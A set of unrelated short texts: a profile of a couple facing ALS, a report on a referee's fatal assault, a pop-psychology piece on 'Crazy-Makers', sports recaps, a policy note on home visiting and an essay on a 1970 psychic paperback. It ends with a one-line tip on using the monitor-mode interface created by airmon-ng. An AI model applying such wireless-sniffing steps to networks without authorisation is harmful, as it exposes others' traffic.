After several tests, a neurologist gave the Kellys the bad news.
"I only knew that Lou Gehrig's disease was a bad one," Teki said. "Hearing the diagnosis was a pisser. I was so mad. I wanted a pity party so bad, but there was no sense in having Mike comfort me."
The song "Live Like You Were Dying" by country music star Tim McGraw helped them face their new life, they said.
"We were so caught up in our busy lives, we had to cut out all the noise," Teki said. "It was horrible that Mike had to get this before we learned to slow down, breathe and shut out the drama in our lives. That part has been very good for us."
Teki Kelly's longtime friend, GW Construction owner Brian Wohlhuter, along with other friends and family members rallied to help out. They built a fence to keep the Kellys' dog in so Mike didn't have to chase the pet. They built wheelchair ramps and remodeled the house to make Mike's life easier.
The Kellys' friends Lyle and Shelly Bates, owners of Local Motion in Puyallup, gave them a wheelchair van, which Mike calls "Big Mama." Their friends at American Brewing Co. in Edmonds ran fundraisers. The Tulalip Tribes, where Teki works as a licensing certifications inspector, also offered support.
"We're private people and it was hard at first to accept the help," Teki Kelly said.
Mike Kelly hasn't missed a day at Frontier Communications in Everett, where he's worked for that past six years. There, he offers technical support to the phone company's installation and maintenance field crew. His supervisor Janel Brough says Kelly is the most positive person she knows.
"He makes us all want to do a better job," Brough said. "He truly sets an example and he's not stopping."
When the word first got out that Kelly had ALS, people at work didn't talk much about it.
"I had to be the PR person, to help people realize it was OK to ask me about the disease," Kelly said.
Knowing that Kelly's medical insurance wasn't covering all of the couple's costs, Brough organized a series of fundraisers to help Mike and Teki pay for the expensive motorized wheelchair he uses.
"During the fundraising, I realized how much the other employees care for Mike," Brough said. "He is loved by everyone."
The support is humbling, Kelly said.
"I don't know how anybody would do this without medical insurance. I am so grateful," he said.
Kelly said he will be at work until he can't make it. He plans to keep smiling, too.
"Am I always tough? Hell, no. You get an instruction booklet with your microwave oven, but no one can tell you how to live while you are dying. Teki and I cry, sometimes, and argue," Mike said. "One day, I announced I'd had enough and I was leaving. It was 38 degrees and raining out and I was wearing my pajamas. Teki said she would get the door for me. Then, of course, we laughed. We are always aware that we have each other."
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A soccer referee who suffered a fatal head injury after being assaulted during a match will be memorialized at a public funeral mass on Wednesday the same day prosecutors are expected to file criminal charges against the 17-year-old boy accused of landing the deadly punch.
Services for Ricardo Portillo being with a 1 p.m. viewing at the The Rail Event Center, 235 N. 500 West, followed by a Catholic mass at 7 p.m., Portillo family friend Tony Yapias said. The public is asked to wear white shirts in Portillo's honor.
Salt Lake County prosecutors began their review of the case evidence on Monday and may reach a decision by mid-day Wednesday, District Attorney Sim Gill said.
Gill said his office is carefully weighing factors in the case, including the boy's age, the sequence of events, and the range of criminal charges that may apply.
"It's a complicated matter," Gill said.
The accused teen, a goalkeeper playing his first game for a La Liga Continental de Fútbol team, was arrested two days after the April 27 match. He's being held in juvenile detention for investigation of aggravated assault. The boy's name has not been released.
Portillo, 46, of Salt Lake City, died Saturday after nearly a week in a coma. Family members removed him from life support and donated his organs to waiting transplant patients so he could help others, his daughter Johana Portillo-Lopez has said.
Authorities say the boy was upset with Portillo after the official penalized the teen with a yellow card for rough play. The teen allegedly struck Portillo in the side of the head as the referee recorded the infraction in his official's notebook.
After being hit, the volunteer ref fell to the ground and began vomiting blood. Paramedics took him to the hospital.
A native of Guadalajara, Mexico, Portillo has lived in the U.S. for 17 years and had been volunteering as a referee for eight years. His body will be returned to Mexico for burial, his daughter has said.


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Help! I'm In A Relationship With A Crazy-Maker!
Characteristics of – and strategies to cope with – people who make you feel crazy.
Think about the most annoying people in your life, whether they be partners, bosses, friends or someone else close to you. In these relationships you seem to lose track of yourself and you can't figure out how or why, but before you know it you are acting like a maniac or you are feeling constantly uncertain. You can look back in history and see you have not behaved this way in any other relationships, but in this particular relationship, you seem to get hooked every time. Why do certain people have this power over us? These people make us feel crazy. They make us feel like there is always some edge we about to fall off or we feel constantly confused. This is why they are called Crazy-Makers. Keep reading and we will unravel this behavioral pattern. In this article I will offer you strategies in dealing with these types of people. Let us begin with analyzing some of the behavioral patterns associated with Crazy-Makers.
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Characteristics of Crazy-Makers
Nice Person Facade: Crazy makers hide their true identities by acting nice, altruistic, empathic, concerned and caring because this is what they want people to know them as. When you first meet them you will often have instant rapport and you will think they are the nicest people. Beware, however, because they can turn themselves into whatever you want to see, but only long enough to lure you in. Once you have been lured in you will see all things end up in arguments and your general emotional state becomes one of frustration and anger. Because they still have that 'nice' side you will continually justify your relationship with them and live in a world of confusion. It is a process of getting mad enough to leave the relationship to getting lured back in over and over.
Lack of Reciprocity: These people want life to be full of fun, leisure and excitement. Anything outside of fun is not their thing. They prefer for others to take care of all things boring or difficult. In other words they are allergic to the words responsibility and/or accountability. Anyone who tries to delay their gratification will experience the wrath of their discontent. They are not in relationships to see what they can put into them. They enter relationships to see what they can get out of them or to how much they can get someone else to take care of them. Beware, they always get more than they give and they really do not care much how you feel about it.
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Tuesday August 6th, 2013 1:01am
Loyola's run through the 2012 season grew two days longer Saturday afternoon when the Greyhounds defeated Notre Dame, 7-5, and advanced to the NCAA Men's Lacrosse Championship.
The championship will be Monday afternoon at Gillette Stadium vs. Maryland.
"What a great day for the Greyhounds," coach Charlie Toomey said, audibly fighting back emotion from his biggest victory yet at the helm of the Greyhounds. "It's a special feeling for a coach when you get to coach a group of guys that just give you everything every day. We're having fun out there."
Loyola won on timely contributions from the offense and long stretches of stingy play by the defense.
"[Notre Dame] came out with a tremendous gameplan today. They didn't want to let us run. They took us out of what we like to do, and they made it a battle out there," Toomey said. "We're just so fortunate to advance. We're excited about the opportunity. We'll go back to work tonight."
The Irish defense played to roughly their season average, holding Loyola to just the seven scores, helped largely by a 13-save effort from junior goalie John Kemp. But after scoring double digits in its last two playoff wins, Notre Dame could only muster five goals Saturday.
"You're not going to win many games at this time of the year with five goals," Irish coach Kevin Corrigan said. "I think Notre Dame lacrosse is a testament to that, since we sit here for the third year in a row on five and without a trophy."
Notre Dame had its chances at the end. Twice, the Irish were able to force turnovers from the Greyhounds in the final two minutes. Loyola seemed almost unprepared at times for how to handle the Notre Dame pressure and kill the clock, a spot that gave them trouble last week as well.
Twice the Greyhounds just threw the ball to open space in the box behind the net just to see it quickly acquired by the Irish.
"I think the toughest thing to do in lacrosse is hold the ball with two minutes to go," Toomey said. "We'll go back to work on it and hopefully have a gameplan that will let us kill the clock if that is what it takes on Monday."
Another point of improvement will be at the X, where Notre Dame dominated Loyola 13-to-1. The face-off struggles are a problem to correct heading into Monday's championship game.
"J.P. [Dalton] was tying [Liam O'Connor] up for the most part, really making them how we like them, 50/50 groundballs," said dynamo Loyola LSM Scott Ratliff. "We usually win those battles, but their wings were hustling and making a lot of good plays off the ground."
"If we could have had that many possessions coming out of the face-offs that that could have translated into us playing more smart, patient offense," Corrigan said. "That's a little bit of an anomaly to me."
Despite the extra possessions, Notre Dame could not turn those possessions into good scoring opportunities.
"They did a good job on defense today; they really got out and pressed us when we were trying to dodge," said senior attackman Sean Rogers, who tallied one of this team's five scores. "I think we settled a little bit...We like to say in the first 30 seconds we can get a good luck, but a minute we could get a great look, and 90 seconds we could get a phenomenal look. I think we settled for a little bit of those 30 second looks today."
The looks Notre Dame did get were handled with aplomb by Loyola's sophomore keeper Jack Runkel, who accrued a career-best 15 saves.
"I think the first save I made was from out top; it kind of got me into a rhythm," Runkel said. "My defense was giving me good shots to see, very clear lines from the shooters; any goalie would gobble up those saves."
"They're a very patient offense; they don't force anything, so it's really about matching that patience," Ratliff said of the defensive philosophy. "We gave Jack some looks from the outside, and he was just saving everything."
Runkel's performance was aided by the poor shooting effort of Notre Dame. Putting 20 of 28 shots on cage is typically a good day, but shooters could not find the back of the net.
"We've been playing really good offense thus far through the tournament, and our shooting was the main reason for that," Rogers said. "Today, we didn't shoot to the right spots. The goalie played well. He made a couple of big saves down the stretch, and I think that's what really hurt us."
"He was as big as he's ever been in there for us," Toomey said, calling the outing the best of the sophomore's career. "When there was a breakdown, Runk' was right there to pick up the pieces."
While the Notre Dame shooters were frustrated, Loyola's Eric Lusby had the hot hand early, scoring three of his team's first four goals and five of the seven on the day.
"I was just lucky today," Lusby said of his performance after the game. "Notre Dame, they play such a help defense that they like to suck down to the inside, so that opened up some skip passes, and if you get to the back side quick enough you can have some dodges in close."
"When somebody has five goals, it's not because we game-planned to get them five goals" said Corrigan.
Lusby has been in a zone lately. His five today matched the mark he put up against Denver in the quarterfinals, and it marked the fifth time this season he netted five or more in a game.
"I'm playing confident right now," Lusby said. "I just try to shoot for net, and when I see an opening, I've been putting the ball where I want to so it's paid off."
"He's a great shooter," the junior keeper Kemp said. "Obviously Lusby started off really hot. He was there go to guy today, and he got it done."
Lusby's postseason heroics become more poignant when taken into the context of his career. After tearing his ACL against Cornell in the 2010 NCAA Tournament, Lusby missed the 2011 season rehabbing. He has returned and taken full advantage of his fifth-year, tallying 50 goals on the year. Lusby and Mike Sawyer (51G) are the first Loyola teammates to each have 50 goals in the same season.
"I don't think Eric would change a minute of his decision to go back and rehab and to be shut down for the successes we've had this year," Toomey said.
"We wouldn't be where we are today without Eric," Ratliff said about Lusby's contributions this year. "It's just head and shoulders better with him on the field."
Lusby is just one of a special group that has materialized here for the Greyhounds in 2012. As guys came into their own, and others returned from injury, Toomey had an inkling early that this might be a big year for his program.
"We felt like we were a 12 to 15 [win], as a coaching staff, team," Toomey said. "These guys embraced a philosophy of playing faster. We had a couple of new faces in our locker room so we were a little more athletic between the lines.
"But what you can't account for in the fall is team chemistry that develops through the season, and these guys have the right chemistry," Toomey said. "They have the right work ethic, preparation, and so as the season went on, we weren't surprised, because we just kept going week to week with that same work ethic, with that same philosophy. We're going to take care of each other. So obviously we're very happy to be here, but we're not done."
Loyola plays Maryland for the NCAA Division I Men's Lacrosse Championship at Gillette Stadium in Foxborough, Mass. at 1 p.m. on Monday. The game will be broadcast live on ESPN.


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Extending Home Visiting to FFN Caregivers and Kinship Caregivers
Dec 11, 2009
Home visiting may be an important support for vulnerable children and families that can improve outcomes, including healthy and safe development, family functioning, and school readiness.
A new paper from CLASP explores how home visiting can be responsive to the realities of children's daily lives when they spend significant time in the care of someone other than a parent. Specifically, CLASP focused on two populations of caregivers: kinship caregivers (i.e. grandparents and other relatives) who are raising related children when the child's parents are unable to do so and family, friend, and neighbor (FFN) caregivers who provide child care for children while parents work or go to school.
CLASP interviewed representatives from major national models of home visiting and other experts in the field. It found that all of the home visiting models interviewed serve children and their kinship caregivers (either by initiating services or continuing services when a child served by the program entered kinship care). The models also include FFN caregivers to varying extents, ranging from providing formal curricula for caregivers to allowing home visitors to include FFN caregivers at the family's request.
The full report, Extending Home Visiting to Kinship Caregivers and Family, Friend, and Neighbor Caregivers, includes detailed considerations for implementing home visiting with these caregivers, including matters of curricula, staffing, and service referral; discusses opportunities that result from serving these caregivers; and provides recommendations for states and the federal government.


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Spokane, Wash. • Two of the most successful coaches in college basketball went head to head on Thursday night when West Coast Conference powers Gonzaga and BYU met at McCarthey Athletic Center.
It was the fifth meeting between the programs in the last three years, but BYU's Dave Rose and Gonzaga's Mark Few have been good friends for a lot longer than that.
"I've admired what Mark has down up there for a long, long time," Rose said.
Ironically, Rose and his wife, Cheryl, were in Spokane in 2010 to speak at a charity function for Few when word began to lead out that BYU was thinking about going independent in football and placing its other sports in another conference.
"It was interesting how that happened," Rose said. "After I got sick [with a cancerous tumor on his pancreas], Mark invited Cheryl and I to come speak at the gala that they have. We were keynote speakers. During that three days we were up in Spokane was actually when BYU was talking about going independent in football and joining the WAC at the time, and then it switched to where we might actually join the WCC. So that weekend was actually kinda strange, yeah."
BYU eventually joined the WCC, but played Gonzaga before it officially became a member.
The schools met in a 2011 NCAA Tournament second-round game in Denver, with Jimmer Fredette-led BYU prevailing 89-67 to move into the Sweet 16. The Cougars won the first WCC matchup, 83-73 in Provo last year, but Gonzaga has won the next three matchups, including Thursday's game.
Rose said he and Few talked about playing each other before BYU joined the WCC, but it never happened.
"We spent a lot of time talking about a series in Seattle, and in EnergySolutions Arena, at the Kennel and here [in Provo]," Rose said. "It just ended up happening where now we play twice every year."
Get Guy Lewis in the Hall
Rose is among a group of former Houston players who are trying to get former Houston coach Guy Lewis into the Basketball Hall of Fame. Rose played for Lewis from 1980-83 after playing junior college ball at Dixie College in St. George.
"If anybody deserves to be in the Hall of Fame, [Guy Lewis does]," Rose said. "The guy has been to the Final Four five times. And what he did for not only college basketball, but his players, and what they did for the NBA and professional basketball. I mean, his record speaks for itself. I hope he gets what I consider the call he has deserved for a real long time."


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The Man Who Saw TomorrowBy Rachael Maddux
For a while after college, one of my husband Joe's best friends worked at a used books–and-CDs store in Chattanooga, Tennessee, where we all grew up. It was called McKay but everyone called it McKay's—a tiny but somehow crucial distinction—and it was a wonderland of dog-eared pages and scratched ninety-two-cent discs and ineffable smells of humanity. Michael was always bringing home strange treasures that he'd eventually sell back for the exact amount he'd paid, but sometimes things would be too good not to hold onto. One summer Joe's birthday merited a particularly special gift: a slim black paperback with a creased cover bearing a photo of a goateed man staring out from the center of a pink orb. Flaming rainbows flanked him on either side, and rays of light shot out from underneath his likeness. If anyone ever warranted such a wonder of post-midcentury graphic design, it was surely this man, Doc Anderson, who was, as his book cover proclaimed in yellow caps, THE MAN WHO SEES TOMORROW.
The book was published in 1970, its spine proclaiming it a "Paperback Library Occult Original" (retail price: seventy-five cents). It's part biography and part defensive exegesis of Anderson's psychic pronouncements, all researched and compiled by Robert E. Smith, which seems to be a pseudonym for one Warren B. Smith, who penned dozens of books on paranormal and cryptozoological subjects during his decades-long career. (A sampling from his bibliography: Let's Face Facts About Flying Saucers, 1967; Strange Abominable Snowmen, 1970, Lost Cities of the Ancients—Unearthed!, 1976; and, inexplicably, The Sensual Male, 1971.)


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Now, after you enter the airmon-ng start wlan1 command you an see in the output you've created a new interface in monitor mode (mon0) you should use that interface and not wlan1. Also you would benefit if you set the channel for the new interface. (man airmon-ng)
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